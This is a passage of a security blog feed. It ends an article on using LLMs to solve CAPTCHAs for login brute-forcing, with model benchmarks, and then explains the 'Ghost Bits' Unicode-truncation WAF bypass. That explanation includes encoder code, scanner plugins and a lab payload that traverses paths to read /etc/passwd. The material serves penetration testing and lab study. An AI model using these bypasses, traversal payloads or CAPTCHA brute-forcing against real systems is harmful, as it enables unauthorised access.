<li class="">Kimi k2.5 6 次累积只有 92.47%，想摸到 99% 要重试 8 次以上。叠上每次 10 秒的延迟，一个验证码平均要花 63 秒，吞吐量基本不可接受。六个模型里唯一"重试也救不回来"的。</li>
<li class="">3.5-flash 和 3.6-plus-no-thinking 6 次后都能到 99.41%，重试友好型并列第一。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="七结论与选择建议">七、结论与选择建议<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E4%B8%83%E7%BB%93%E8%AE%BA%E4%B8%8E%E9%80%89%E6%8B%A9%E5%BB%BA%E8%AE%AE" class="hash-link" aria-label="七、结论与选择建议的直接链接" title="七、结论与选择建议的直接链接" translate="no">​</a></h2>
<p>综合单次成功率、耗时、稳定性、价格四个维度：</p>
<ul>
<li class="">整体最推荐：<code>memfit-qwen3.6-flash-free</code>。单次 56.90%、平均 1226 ms、P95 1970 ms，6 次重试 99.36%，1000 次成功 ¥0.58。四项指标同时到一线的只有它一个。</li>
<li class="">成本最敏感：<code>memfit-qwen3.5-flash-free</code>。表现和 3.6-flash 等价（57.49%、1364 ms），1000 次 ¥0.57。</li>
<li class="">单次精度优先、对成本不敏感：<code>memfit-qwen3.6-plus-no-thinking-free</code>。57.53% 只比 flash 高 0.04 pp，1000 次 ¥3.25，6 倍价差买回来的差距在统计噪声里。场景明确要求"一次就打准"才值得。</li>
<li class="">最快出结果、命中率无所谓：<code>memfit-qwen3-vl-flash-free</code>。平均 1178 ms，墙钟最短，48.33% 的单次成功率靠多次重试兜底，1000 次 ¥0.67。</li>
<li class="">不推荐：<code>memfit-qwen3-vl-plus-free</code>。准确率中等 54.79%，延迟最高 P95 3435 ms，1000 次 ¥2.37。三个维度同时落后。</li>
<li class="">不要用在验证码识别：<code>memfit-kimi-k2.5-free</code>。35% 单次成功率、10 秒耗时、1000 次 ¥5.71（flash 的 10 倍）。窄域 OCR 这种场景里，大模型的通用推理能力反倒成了拖累。</li>
</ul>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="关于默认模型-memfit-vision-free">关于默认模型 <code>memfit-vision-free</code><a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%85%B3%E4%BA%8E%E9%BB%98%E8%AE%A4%E6%A8%A1%E5%9E%8B-memfit-vision-free" class="hash-link" aria-label="关于默认模型-memfit-vision-free的直接链接" title="关于默认模型-memfit-vision-free的直接链接" translate="no">​</a></h2>
<p>热加载代码里我们一直写的是 <code>ai.model("memfit-vision-free")</code>——aibalance 网关上暴露的默认验证码识别模型。这里说一句实现细节：</p>
<p><code>memfit-vision-free</code> 在服务端为了平衡使用效果和成本，底层复用了 <code>qwen3.5-flash</code>。</p>
<p>也就是说，直接沿用前面热加载代码、不显式切换模型，得到的就是上面表里 <code>memfit-qwen3.5-flash-free</code> 那一行的表现：单次 57.49%、平均 1364 ms、6 次重试累积 99.41%。默认值挺稳，绝大多数场景不用手动换。</p>
<p>目标验证码明显更难、或想把延迟压到更低的读者，回到上面五条建议里挑一条切换即可。Benchmark 脚本可以原样复用，<code>--model</code> 换掉就行。</p>
<p>跑完这轮 Benchmark 笔者的体会：在"图进、四字符出"这种窄域任务上，选专门优化短输出延迟的 flash 系列小模型就够用。模型越大越好的直觉在这里不成立，硬上 kimi k2.5，准确率、耗时、账单三项会同时变差一个数量级。</p>
<p>前面设计的 <code>beforeRequest + retryHandler</code> 两钩子闭环，在 flash 系列任意一个模型下都能稳定兜住 99% 的有效识别率。模型选择只影响爆破速度和预算。</p>
<p><strong>总结</strong></p>
<p>在本文中，我们以验证码保护的登录表单为案例，走过了一条完整的渗透测试思路链：</p>
<p><strong>1.发现逻辑漏洞</strong>。通过实战测试，我们发现了靶场验证码的一个逻辑漏洞——验证码使用后未被删除，可以无限复用。这种漏洞在真实场景中并不少见，AI 只需识别一次就足以完成全部爆破。</p>
<p><strong>2.面对安全实现</strong>。当验证码被正确实现（每次提交后立即作废）时，我们编写了基础版（串行）和进阶版（并发）两个爆破脚本。串行版逻辑清晰，适合理解流程；并发版利用 <code>sync.NewSizedWaitGroup</code> 多 worker 并行，大幅提升效率。</p>
<p><strong>3.Web Fuzzer 热加载方案</strong>。把验证码识别逻辑封装到 <code>beforeRequest</code> 中，配合 Yakit GUI 直接使用，适合需要灵活调整参数的场景。</p>
<p><strong>4.Benchmark 验证</strong>。用数据证明了 AI 识别验证码的可靠性，给这个方案提供了信心基础。</p>
<p>整个方案的核心就是 <code>ai.FunctionCall</code> 这一个函数调用。不用部署 Python 环境，不用买接码服务，Yakit 中配好 AI 网关就可以直接用。</p>
<p>当然，验证码只是 AI 在渗透测试中的一个切入点。<code>ai.FunctionCall</code> 能做的事情还有很多——比如从 JavaScript 代码中提取 API 路径、从页面内容中识别敏感信息、从错误响应中提取数据库类型。凡是需要"从一段内容里按格式提取信息"的场景，都可以用类似的思路来处理。</p>
<p>工欲善其事，必先利其器。笔者相信，在跟着本文完成了验证码识别这个流程之后，大家对 Yaklang AI 模块的使用一定已经更加得心应手了。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/yTT4_EMQuHtxY-KMoPd55w" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>AI</category>
        </item>
        <item>
            <title><![CDATA[漏洞分析：Ghost Bits WAF 绕过原理与 Codec/Fuzz 插件实现]]></title>
            <link>https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz</link>
            <guid>https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz</guid>
            <pubDate>Wed, 29 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文解析 Ghost Bits 利用 Java 字符截断绕过安全检查的原理，并展示如何用 Yak Codec 与 Fuzz 插件完成一键编码、批量探测和结果验证。]]></description>
            <content:encoded><![CDATA[<p>Ghost Bits 是近期安全社区热度很高的 WAF 绕过技术，Blackhat 相关议题以及多个 CVE（如 CVE-2025-41242）都涉及到这一手法。在实际渗透测试中，Ghost Bits 编码本身不难——写几行脚本就能实现。但每次都是"打开编辑器 → 改代码 → 跑脚本 → 复制结果 → 粘贴到工具里"，步骤一多就容易打断思路。为此我们写了一个 Yak Codec 插件，选中 payload 右键直接输出编码结果，省去来回切换窗口的麻烦。</p>
<p>除了编码，批量探测靶点是否受 Ghost Bits 影响也是个重复活动。针对这个场景我们还写了一个 <strong>Yak Fuzz插件</strong>，内置了 CVE-2025-41242、Jackson、fastjson 等常见场景的 preset，跑一遍就能快速判断目标是否存在截断风险。</p>
<p>本文在梳理核心原理的基础上，分别介绍这两个插件的设计思路和使用方式：Codec 负责"一键编码"，Fuzz 负责"批量探测"。希望能在检测这类漏洞时减少重复劳动、提高效率。</p>
<p>如果你也厌倦了手动复制粘贴 Unicode 字符，或者想快速批量验证一批目标是否受 Ghost Bits 影响，这篇文章适合你。这些插件目前你可以在Yakit插件商城下载。</p>
<p>前这些插件你可以在在线商店下载：</p>
<p>一、Ghost Bits 漏洞原理</p>
<p>Ghost Bits（幽灵位）是一种利用 Java 字符截断特性的 WAF 绕过技术。其核心原理在于：<strong>Java 在处理</strong>Unicode<strong>字符时，某些方法会静默丢弃高 8 位，只保留低 8 位</strong>。</p>
<p>例如，<code>String.getBytes()</code>、<code>ByteArrayOutputStream.write(ch)</code>、<code>DataOutputStream.writeBytes()</code>等方法，本质上都执行了如下操作：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">截断结果 = unicodeChar &amp; 0xFF</span><br></span></code></pre></div></div>
<p>这意味着，只要构造一个 Unicode 字符，使其低 8 位等于目标 ASCII 值，就能在服务端"伪装"成该 ASCII 字符：</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">阮 = U+962E → 0x962E &amp; 0xFF = 0x2E = .</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">严 = U+4E25 → 0x4E25 &amp; 0xFF = 0x25 = %</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">灵 = U+7075 → 0x7075 &amp; 0xFF = 0x75 = u</span><br></span></code></pre></div></div>
<p>攻击者利用这一点，将 WAF 能识别的敏感字符串（如 <code>../</code>、<code>union select</code>）编码成"无害"的中文 Unicode，从而绕过检测。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/91cb195dca694168-91cba3ab6a3c9702a3dd17f777f0fce0.png" width="1080" height="185" class="yakdoc-image"></button></p>
<p><strong>以 CVE-2025-41242 为例</strong></p>
<p>在 Spring Framework CVE-2025-41242 中，攻击链如下：</p>
<ol>
<li class="">
<p><strong>WAF</strong>放行**：WAF 看到 <code>阮严灵丰丰甲来</code> 等 Unicode 字符，没有敏感关键词，直接放行</p>
</li>
<li class="">
<p><strong>Spring 防御层</strong>：<code>ResourceHttpRequestHandler#getResource</code> 调用 <code>isInvalidPath(path)</code> 检查字面量 <code>../</code>，路径中没有 <code>../</code>，判定安全</p>
</li>
<li class="">
<p><strong>截断发生</strong>：<code>StringUtils.uriDecode()</code> 内部的 <code>baos.write(ch)</code> 丢弃高 8 位，<code>阮</code>(U+962E) → <code>.</code>(0x2E)</p>
</li>
<li class="">
<p><strong>路径折叠</strong>：Jetty/Servlet 容器将 <code>%u002e</code> 解码为 <code>.</code>，最终 <code>.%u002e</code> → <code>..</code>，形成目录穿越</p>
</li>
</ol>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b16dce74a4ab4b89-501564079c1ea25651e95a843af7f72e.jpg" width="1080" height="602" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="二利用流程中哪个环节适合工具提效"><strong>二、利用流程中，哪个环节适合工具提效</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E4%BA%8C%E5%88%A9%E7%94%A8%E6%B5%81%E7%A8%8B%E4%B8%AD%E5%93%AA%E4%B8%AA%E7%8E%AF%E8%8A%82%E9%80%82%E5%90%88%E5%B7%A5%E5%85%B7%E6%8F%90%E6%95%88" class="hash-link" aria-label="二利用流程中哪个环节适合工具提效的直接链接" title="二利用流程中哪个环节适合工具提效的直接链接" translate="no">​</a></h2>
<p>Ghost Bits 漏洞的完整利用流程包括：</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/3cfd30f1208afeac-9eff81e1b3c6c190b4fbf8396bea5a0e.png" width="495" height="1191" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p><strong>最适合工具提效的环节</strong></p>
<p>整个流程里，真正值得插件化的是<strong>编码和验证</strong>这两个环节。发现截断点虽然也可以写 Fuzzer 辅助批量探测，但更多依赖对目标架构的理解；构造 payload 和发送测试本身不复杂。真正消耗时间的是把每个 ASCII 字符逐个查表转换成 Unicode 替换体，以及编码完成后验证截断结果是否还原成了原始 ASCII——这两个步骤重复性高、容易出错，最适合交给工具处理。我们的 Codec 插件解决"一键编码"的问题，Fuzzer 插件解决"批量探测截断点"的问题，验证脚本则用来确保编码结果正确。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="三ghost-bits编码插件"><strong>三、Ghost Bits编码插件</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E4%B8%89ghost-bits%E7%BC%96%E7%A0%81%E6%8F%92%E4%BB%B6" class="hash-link" aria-label="三ghost-bits编码插件的直接链接" title="三ghost-bits编码插件的直接链接" translate="no">​</a></h2>
<p>基于上述痛点，我们编写了一个 Yak Codec 插件，将 Ghost Bits 编码过程完全自动化。</p>
<p>工具原理</p>
<p><strong>插件内置两个 Unicode 候选池：</strong></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8f86a77793d6237a-ce9ad5bf89e49377e0caaacd1d233761.jpg" width="1080" height="109" class="yakdoc-image"></button></p>
<p><strong>候选池设计：</strong></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/fab8c887a353af47-d5d21d1b430892e37ef00d40d089a353.png" width="921" height="264" class="yakdoc-image"></button></p>
<p>默认使用<strong>中文优先池</strong>，编码结果可读性强，便于在 WebFuzzer 中辨认和调试。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="核心代码"><strong>核心代码</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E6%A0%B8%E5%BF%83%E4%BB%A3%E7%A0%81" class="hash-link" aria-label="核心代码的直接链接" title="核心代码的直接链接" translate="no">​</a></h3>
<div class="language-kotlin codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kotlin codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// 保留空白和斜杠，其余 ASCII 全部编码</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">shouldEncode </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">asciiCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> asciiCode </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> asciiCode </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">127</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> asciiCode </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">9</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">13</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">32</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">  </span><span class="token comment" style="color:#999988;font-style:italic">// 空白</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> asciiCode </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">47</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">false</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">                 </span><span class="token comment" style="color:#999988;font-style:italic">// /</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 从中文优先池随机选 highByte</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">pickGhostChar </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">asciiCode</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> fixedHighByte</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    selectedHighByte </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> fixedHighByte</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> selectedHighByte </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">||</span><span class="token plain"> selectedHighByte </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">255</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        selectedHighByte </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> chinesePreferredHighBytes</span><span class="token punctuation" style="color:#393A34">[</span><span class="token function" style="color:#d73a49">randn</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">candidatePool</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">chr</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">selectedHighByte</span><span class="token operator" style="color:#393A34">*</span><span class="token number" style="color:#36acaa">256</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> asciiCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="靶场实战vulhubcve-2025-41242"><strong>靶场实战：vulhub/CVE-2025-41242</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E9%9D%B6%E5%9C%BA%E5%AE%9E%E6%88%98vulhubcve-2025-41242" class="hash-link" aria-label="靶场实战vulhubcve-2025-41242的直接链接" title="靶场实战vulhubcve-2025-41242的直接链接" translate="no">​</a></h3>
<p>以 vulhub 的 <code>spring/CVE-2025-41242</code> 靶场为例，演示 Codec 插件的实际用法。</p>
<p>靶场环境</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">docker-compose 启动后，目标地址：http://127.0.0.1:8080漏洞点：Spring 的 StringUtils.uriDecode() 在特定路径下会丢弃 Unicode 高 8 位</span><br></span></code></pre></div></div>
<p><strong>构造</strong>Payload**</p>
<p>这个漏洞的利用需要把路径中的 ASCII 字符替换成 Ghost Bits 编码的 Unicode。比如目标 payload 是 <code>.%u002e</code>（经过 Spring 内部解码后变成 <code>..</code> 实现目录穿越）。在 WebFuzzer 中选中 <code>.%u002e</code>，右键执行 GhostBits Payload Codec，插件直接输出对应的 Unicode 替换结果：</p>
<div class="language-perl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-perl codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">输入：  .%u002e</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">输出： 蔮蔥蕵蔰锰進蕥</span><br></span></code></pre></div></div>
<p>此处payload不是“阮严灵丰丰甲来”，原因是 Ghost Bits 的编码本身就不唯一。只要满足"截断后低 8 位等于目标 ASCII"这个条件，任何一个 Unicode 字符都可以作为替换体。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/06238af85f1cbb6d-96c2156afce37f41377c834dd35700d4.png" width="1073" height="849" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/5f03beda3ec753be-f7c939903425f801261984e23ba7f487.png" width="1080" height="569" class="yakdoc-image"></button></p>
<p><strong>验证结果</strong></p>
<p>发送后观察响应。如果截断生效，服务端会将 Unicode 高 8 位丢弃，实际处理的路径变成 <code>../../etc/passwd</code>，从而读取到系统文件内容。响应中若出现 <code>root:x:0:0:</code> 等 <code>/etc/passwd</code> 特征，即可确认漏洞存在。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/0f3f7b310fd3b611-74c0d3a6bf877dc17305fcfab797d966.png" width="1080" height="579" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="四ghost-bits-cast-fuzz插件"><strong>四、Ghost Bits Cast Fuzz插件</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E5%9B%9Bghost-bits-cast-fuzz%E6%8F%92%E4%BB%B6" class="hash-link" aria-label="四ghost-bits-cast-fuzz插件的直接链接" title="四ghost-bits-cast-fuzz插件的直接链接" translate="no">​</a></h2>
<p>Codec 插件解决的是"如何快速编码 payload"的问题，但在实战中，你还需要回答另一个问题：<strong>目标是否存在 Ghost Bits 漏洞？</strong></p>
<p>为此我们编写了<strong>GhostBits Cast Fuzzer</strong>——一个主动扫描插件，内置多个常见场景的预设 payload，一键发送到目标并自动分析响应。</p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="集成的场景"><strong>集成的场景</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E9%9B%86%E6%88%90%E7%9A%84%E5%9C%BA%E6%99%AF" class="hash-link" aria-label="集成的场景的直接链接" title="集成的场景的直接链接" translate="no">​</a></h3>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d49adc4c3e673c8a-618bd61b8e7c7b8086bc278de757f0de.jpg" width="1080" height="138" class="yakdoc-image"></button></p>
<h3 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="快速验证流程"><strong>快速验证流程</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E5%BF%AB%E9%80%9F%E9%AA%8C%E8%AF%81%E6%B5%81%E7%A8%8B" class="hash-link" aria-label="快速验证流程的直接链接" title="快速验证流程的直接链接" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">输入目标 URL → 选择场景 → 一键发送 → 自动分析响应</span><br></span></code></pre></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="五ghost-bits编码字符串验证脚本"><strong>五、Ghost Bits编码字符串验证脚本</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E4%BA%94ghost-bits%E7%BC%96%E7%A0%81%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%AA%8C%E8%AF%81%E8%84%9A%E6%9C%AC" class="hash-link" aria-label="五ghost-bits编码字符串验证脚本的直接链接" title="五ghost-bits编码字符串验证脚本的直接链接" translate="no">​</a></h2>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="编码后的-payload-必须验证每个-unicode-字符能否正确截断回原始-ascii我们编写了一个独立的-yak-验证脚本"><strong>编码后的 payload 必须验证每个 Unicode 字符能否正确截断回原始 ASCII。我们编写了一个独立的 Yak 验证脚本：</strong><a href="https://yaklang.com/blog/ghost-bits-waf-bypass-with-codec-and-fuzz#%E7%BC%96%E7%A0%81%E5%90%8E%E7%9A%84-payload-%E5%BF%85%E9%A1%BB%E9%AA%8C%E8%AF%81%E6%AF%8F%E4%B8%AA-unicode-%E5%AD%97%E7%AC%A6%E8%83%BD%E5%90%A6%E6%AD%A3%E7%A1%AE%E6%88%AA%E6%96%AD%E5%9B%9E%E5%8E%9F%E5%A7%8B-ascii%E6%88%91%E4%BB%AC%E7%BC%96%E5%86%99%E4%BA%86%E4%B8%80%E4%B8%AA%E7%8B%AC%E7%AB%8B%E7%9A%84-yak-%E9%AA%8C%E8%AF%81%E8%84%9A%E6%9C%AC" class="hash-link" aria-label="编码后的-payload-必须验证每个-unicode-字符能否正确截断回原始-ascii我们编写了一个独立的-yak-验证脚本的直接链接" title="编码后的-payload-必须验证每个-unicode-字符能否正确截断回原始-ascii我们编写了一个独立的-yak-验证脚本的直接链接" translate="no">​</a></h2>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">// verify_ghostbits.yak</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 验证 Ghost Bits 编码结果：每个 Unicode 字符截断后是否等于原始 ASCII</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">truncateVerify </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">encoded</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> original</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    ok </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    encRunes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> r </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">range</span><span class="token plain"> encoded </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> encRunes </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">append</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">encRunes</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> r</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    origBytes </span><span class="token 